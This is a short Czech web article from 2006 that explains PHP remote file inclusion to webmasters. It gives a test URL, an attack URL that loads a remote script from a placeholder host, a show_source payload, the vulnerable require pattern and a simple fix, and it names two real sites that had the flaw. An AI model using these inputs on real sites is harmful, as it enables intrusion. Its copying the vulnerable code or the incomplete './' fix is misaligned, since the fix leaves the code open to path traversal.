PHP injekce (c) Oldřich Šálek
Toto je velmi základní chyba. Kdo má tuto chybu na svém webu, tak mu web "hackne" i 13ti letá holka. Takže proč nechávat útočníkům (lamkám co neumí nic lepšího než ničit) otevřené dveře? Oprava je velmi jednoduchá
Jestli-že struktura vašich stránek vypadá přibličně takto:
http://mozektevidi.ic.cz//clanek/php-injekce
je jistá pravděpodobnost, že web je napadnutelný. Pro zkoušku zkus:
http://mozektevidi.ic.cz//clanek/http://google.com.
Zobrazil se někde na stánce google? Tak pozor, chyba zde je!
Poznámka: Místo clanek může být cokoliv, např: show, wiew, go, jdi.., inspiraci se meze nekladou.
Když už někdo takový web hledá, hledá ho kvůli ničení. Proto zde nebude dávat text, co se má zadat do google.
Někdo si řekne:„Co tomu vadí, nějaký google na stránce, pche“. No ale co když adresa bude vypadat třeba takto:
http://mozektevidi.ic.cz//clanek/http://mujweb.wz.cz/script.txt?
To už nastává pro webmastera docela problém. Tímto odkazem provede web cizí script, který může vypadat třeba takto:
show_source("index.php");
To už je docela blbé. Chyba byla například na webu pragueexclusive.com nebo dasilvio.cz.
Obrana je jednoduchá. Prakticky jde o to, aby se před proměnou $data vložilo ./. V případě útoku typu
http://mozektevidi.ic.cz/index.php/clanek/http://seznam.cz
se nevloží seznam.cz ale ./http://seznam.cz
$data= $_REQUEST["g"]; require $data;
$data= $_REQUEST["g"]; $data = "./". $data;
Oldřich Šálek |
18. listopadu 06, 16:11